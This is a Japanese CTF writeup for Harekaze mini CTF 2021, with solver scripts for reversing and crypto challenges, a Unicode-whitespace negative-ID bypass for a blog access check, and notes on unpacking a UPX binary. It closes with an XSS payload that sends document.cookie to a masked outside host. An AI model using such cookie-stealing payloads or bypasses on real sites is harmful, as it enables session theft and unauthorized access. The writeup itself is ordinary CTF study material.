Harekaze mini CTF 2021 writeup

Writer:b1uef0x / Webページ建造途中

概要

Crypto2問、Reversing1問を解いた。何故Webを解けなかったし。

途中まで手を出した問題についても復習を兼ねて記載。外部サイトを利用するXSSやPrototype Pollution問題が用意されており、短時間ながら参考になるCTFだった。

公式解説:https://github.com/TeamHarekaze/harekaze-mini-ctf-2021-challenges-public

目次

crackme (Reversing)

Linux用の実行ファイルが与えられる。

crackmeファイルをGhidraで逆コンパイルして該当部分を読む。

undefined8 main(int param_1,long param_2)

{
  size_t sVar1;
  ulong uVar2;
  int local_10;
  int local_c;
  
  local_c = 0;
  if (param_1 == 1) {
    puts("Usage: crackme <flag>");
  }
  else {
    sVar1 = strlen(*(char **)(param_2 + 8));
    if (sVar1 == 0x1f) {
      local_10 = 0;
      while (local_10 < 0x1f) {
        uVar2 = calc(*(char *)((long)local_10 + *(long *)(param_2 + 8)),
                     *(int *)(a + (long)local_10 * 4),*(int *)(b + (long)local_10 * 4));
        local_c = (int)uVar2;
        if (local_c == 0) break;
        local_10 = local_10 + 1;
      }
      if (local_c == 1) {
        printf("Conguratulations!! Flag is %s\n",*(undefined8 *)(param_2 + 8));
        return 1;
      }
    }
    else {
      puts("Oops, Try again.");
    }
  }
  return 0;
}

まず入力文字列の長さが0x1fかどうかチェックされており、flagは31文字でHarekazeCTF{******************}の形式になっているはずだ。

gdb-pedaでデバッグして処理を読むと、1文字ずつチェックしていることがわかる。入力文字Xに対して、その都度与えられる1文字のデータAと32ビットの数値Bを使って、X*A+A*A+B=0x100000000になればマッチする判定になっている。

AとBの値がわかる位置にbreakpointを張って、HarekazeCTF{******************}を入力して*の部分で出てくるAとBを使って1文字ずつ正しい文字を復元できる。

gdb-pedaの画面

例えば上記のような場合、RDIに入力文字*が入っており、RCXにA、RAXにBが入っているため、ここからXを逆算するとnになる。この作業を1文字ずつ繰り返してflagを得ることができる。

HarekazeCTF{quadrat1c_3quati0n}

first exam (Crypto)

flagが乱数でXORされた出力が与えられる。

import base64
import random 

# flag.py から flag を読み込みます。flag.pyは非公開なので、手元でデバッグするときは自分でテスト用のファイルを生成してください。
# Load the flag from flag.py. Since flag.py is not public, you can generate your own test file for debugging at hand.
from flag import flag 

# pycryptodomeから(https://pycryptodome.readthedocs.io/en/latest/) import します。使えない場合は `pip3 install pycryptodome` をしてください
# import from pycryptodome (https://pycryptodome.readthedocs.io/en/latest/). If you can't run this problem, do `pip3 install pycryptodome`
from Crypto.Util.number import long_to_bytes, bytes_to_long

flag = base64.b64encode(flag)
flag = bytes_to_long(flag)
key = random.randrange(flag)
flag = flag ^ key
print(f"{key = }")
print(f"{flag = }")

単純に逆回しにするコードを書いてflagが得られる。

omport base64
from Crypto.Util.number import bytes_to_long, long_to_bytes

key = 407773567691797768945309646881381330143924911048532252374484400956007416406007936505301187512369384531883020224488253602523154102140950477859193
flag = 1392812161183976577227166142672085037819799462496681473937900208451109718213256601589927195482395914799893761610554140977947503369343069077952836

flag = flag ^ key
flag = long_to_bytes(flag)
flag = base64.b64decode(flag)
print(flag)

HarekazeCTF{OK_you_can_join_wizardry_school}

sage training (Crypto)

次のsageプログラムと出力結果が与えられる。

# この問題ではsagemath(https://www.sagemath.org/)を利用します。
# インストールして、 `sage problem.sage` コマンドを実行することで実行することができます。
# this problem requires `sagemath(https://www.sagemath.org/)`.
# you can run `sage problem.sage` after install this tool.

# *sagemathに* pycryptodomeを入れる必要があります。
# `sage --sh` コマンドでshellに入った後、`pip install pycryptodome` で Python の module をインストールすることが可能です。
# to solve this problem, you have to install `pycryptodome`.
# After entering the shell with the command `sage --sh`, you can use `pip install pycryptodome` to install the Python module.
from Crypto.Util.number import *
from flag import flag

# bytes <- str
flag = flag.encode('utf-8')
# long <- bytes
flag = bytes_to_long(flag)

p = getStrongPrime(512)
q = getStrongPrime(512)
n = p*q
e = 65537

# 計算するたびに mod n を取る 行列を生成します。
# generate matrix which calculate modulus n at every operation.
m = matrix(Zmod(n), [
    [p, 0],
    [0, flag]
])

# sagemathでは ^ は xor を表さずに、冪乗を表しています。
# in sagemath, ^ means exponentiation. not `xor`
m = m^e

# listで二次元配列に変換します。
# convert two-dimensional array by list() function
print("c =",list(m))
print("n =",n)
print("e =",e)

# hint 1
# c = [? 0] <= what's ?
#     [0 ?] <= what's ?
# hint 2
# JP: https://ja.wikipedia.org/wiki/%E6%9C%80%E5%A4%A7%E5%85%AC%E7%B4%84%E6%95%B0
# EN: https://en.wikipedia.org/wiki/Greatest_common_divisor

行列mをr乗した剰余を計算しているが、対角行列なのでスカラー値の計算と考えて構わない。

まずp^e mod nが計算されているが、この出力はpの倍数となっているため、nとの最大公約数を計算すればqが手に入り、n//qからpもわかる。

flagの部分はflag^e mod nで通常のRSA暗号なので、判明したp,qから復号できる。

from math import gcd
from Crypto.Util.number import bytes_to_long, long_to_bytes

c = 14243811671300968907609174458855708829741032120754409000357686908873126315334915231420353855815283498571171729689334442024813021199910238276500626386134036150649025606319036019223959715867658461585221634071508142818645594816357236002650041503442624594820852244903155433016041077813314542285538820574629698950
p = 0
q = 0
n = 123658273021758657244926229590842169697216202161458868027271307824674005278002104678607018762498569110790554844101479136721968081586766904446085438475258864812618061595487772978115460674609635002737826341845366713797429237465562629770189347062332559337703309881797723858775511801114681134013841432780549606609
e = 65537

pe = 94705679004463284733541288053549635663983624426348082883911423652044420589882644740030824857964094373277293351421545117172457918484063609288563394969114856228940330220982203798491227942337707868513380987219942847139213839127934175216087451584996193094098370176337671205679032479708240220775365041028562298045

p = gcd(n, pe)
q = n // p
print(q)

def lcm(p, q):
  return (p * q) // gcd(p, q)

def _etension_euclid(x,y):
  c0, c1 = x, y
  a0, a1 = 1, 0
  b0, b1 = 0, 1

  while c1 != 0:
     mm = c0 % c1
     qq = c0 // c1

     c0, c1 = c1, mm
     a0, a1 = a1, (a0 - qq * a1)
     b0, b1 = b1, (b0 - qq * b1)

  return c0, a0, b0

l = lcm(p - 1, q - 1)
_c, a, _b = _etension_euclid(e, l)
d = a % l

print((long_to_bytes(pow(c,d,n))))

HarekazeCTF{which_do_you_like_mage_or_sage?}

Incomplete Blog (Web) 未解答

記事を表示する機能を持つWebページとソースコードが与えられる。

Webページ

表示上は0~9番までの記事しか載っていないが、配布された以下のソースコードでは10000個の記事が生成されている。

const fastify = require('fastify');
const path = require('path');
const { flag } = require('./secret');

// generate articles
let articles = [];
for (let i = 0; i < 10000; i++) {
  articles.push({
    title: `Dummy article ${i}`,
    content: 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.'.trim()
  });
}
articles[1337] = {
  title: 'Flag',
  content: `Wow, how do you manage to read this article? Anyway, the flag is: <code>${flag}</code>`
};

const app = fastify({ logger: true });
app.register(require('point-of-view'), {
  engine: {
    ejs: require('ejs')
  },
  root: path.join(__dirname, 'view')
});
app.register(require('fastify-static'), {
  root: path.join(__dirname, 'static'),
  prefix: '/static/',
});

app.get('/', async (request, reply) => {
  return reply.view('index.ejs', { articles });
});

app.get('/article/:id', async (request, reply) => {
  // id should not be negative 
  if (/^[\b\t\n\v\f\r \xa0]*-/.test(request.params.id)) {
    return reply.view('article.ejs', {
      title: 'Access denied',
      content: 'Hacking attempt detected.'
    });
  }

  let id = parseInt(request.params.id, 10);

  // free users cannot read articles with id >9
  if (id > 9) {
    return reply.view('article.ejs', {
      title: 'Access denied',
      content: 'You need to become a premium user to read this content.'
    });
  }

  const article = articles.at(id) ?? {
    title: 'Not found',
    content: 'The requested article was not found.'
  };

  return reply.view('article.ejs', article);
});

const start = async () => {
  try {
    await app.listen(3000, '0.0.0.0');
    app.log.info(`server listening on ${app.server.address().port}`);
  } catch (err) {
    app.log.error(err);
    process.exit(1);
  }
};
start();

flagは1337番の記事に書かれているが、article/以下を表示する部分を読むと、記事idが9より大きい場合は表示できないようになっている。

この処理が行われる前にif (/^[\b\t\n\v\f\r \xa0]*-/.test(request.params.id))で空白に続くマイナス符号を禁止しており、ヒントになっている。articles.at(id)は負の入力も許容するので、どうにかして負の数字を入力できればよい。

parseIntの仕様を読むと、先頭にあるホワイトスペースを無視してくれることから、禁止されていない空白文字を使えば良いところまではわかったが、なぜか該当するURL文字列を見つけられなかった。

公式解説:https://github.com/TeamHarekaze/harekaze-mini-ctf-2021-challenges-public/tree/main/web/incomplete-blog

回答はLINE SEPARATORの/article/%E2%80%A8-8663。この他article/%EF%BB%BF-8663などでも解くことができた。

flag

Pack Program (Reversing) 未解答

challengeバイナリファイルが配布される。バイナリを読むとUPXの文字が見えるのでパックされていることがわかる。逆アセンブラに読ませるにはアンパックする必要がある。

とりあえずupxでアンパックをかけてみるが以下のように失敗する。

アンパック失敗

原因を探すと、( https://github.com/upx/upx/issues/108 )に関連するエントリを見つけ、どうやら意図的にバイナリの一部がマスクされているようだ。

マスクされた箇所

バイナリエディタで開いて、XXXの部分をUPXに変更すると、次のようにアンパックが可能になった。

アンパック成功

これで逆アセンブラが使用可能になったのでGhidraで読ませる。

undefined4 FUN_004076a0(void)

{
  size_t sVar1;
  char *pcVar2;
  int iVar3;
  void *pvVar4;
  int *piVar5;
  
  piVar5 = (int *)FID_conflict:<lambda_invoker_cdecl>(0x40);
  thunk_FUN_00408f60(piVar5,0,0x10);
  sVar1 = _strlen(s_6jTJ+b/RSJZxBLGcVcbglt==_0046801c);
  pcVar2 = (char *)thunk_FUN_004070d0((int)s_6jTJ+b/RSJZxBLGcVcbglt==_0046801c,sVar1);
  iVar3 = thunk_FUN_00407590(s_n96t6tPFEElhk0uSjcoeJasW_00468000,pcVar2,(int)piVar5);
  if (iVar3 == 0) {
    thunk_FUN_00407a20((int)s_%.16s_00468038);
  }
  else {
    pvVar4 = FID_conflict:<lambda_invoker_cdecl>(0x78);
    sVar1 = _strlen(s_5jqb5bvFEphcP4DHcvWM9rr46tVjjpxX_00468040);
    pcVar2 = (char *)thunk_FUN_004070d0((int)s_5jqb5bvFEphcP4DHcvWM9rr46tVjjpxX_00468040,sVar1);
    thunk_FUN_00407590(s_n96t6tPFEElhk0uSjcoeJasW_00468000,pcVar2,(int)pvVar4);
    thunk_FUN_00407a20((int)s_flag_is_%s_00468080);
  }
  return 0;
}

関数を掘っていくと特徴的な文字列がある関数が見つかったが、時間の都合でこれ以上の解析を断念した。

公式解説:https://github.com/TeamHarekaze/harekaze-mini-ctf-2021-challenges-public/tree/main/rev/pack-program

回答では、base64文字列に加えてRC4アルゴリズムを見抜くことができれば解けたようだ。

Osoraku Secure Note (Web) 未解答

2021年のCTFでは恒例となったメモ帳アプリ+管理者巡回問題。最終的にXSSに持っていくところまではわかったが、時間の都合で断念した。

公式解説:https://github.com/TeamHarekaze/harekaze-mini-ctf-2021-challenges-public/tree/main/web/osoraku-secure-note

同種の問題が出てくることを想定して準備をしていたのに使うことができず残念。

<strong autofocus contenteditable onfocus="document.getElementsByTagName('body')[0].innerHTML+='<img src=\'https://***********/******?'+document.cookie+'\'>'">a</strong>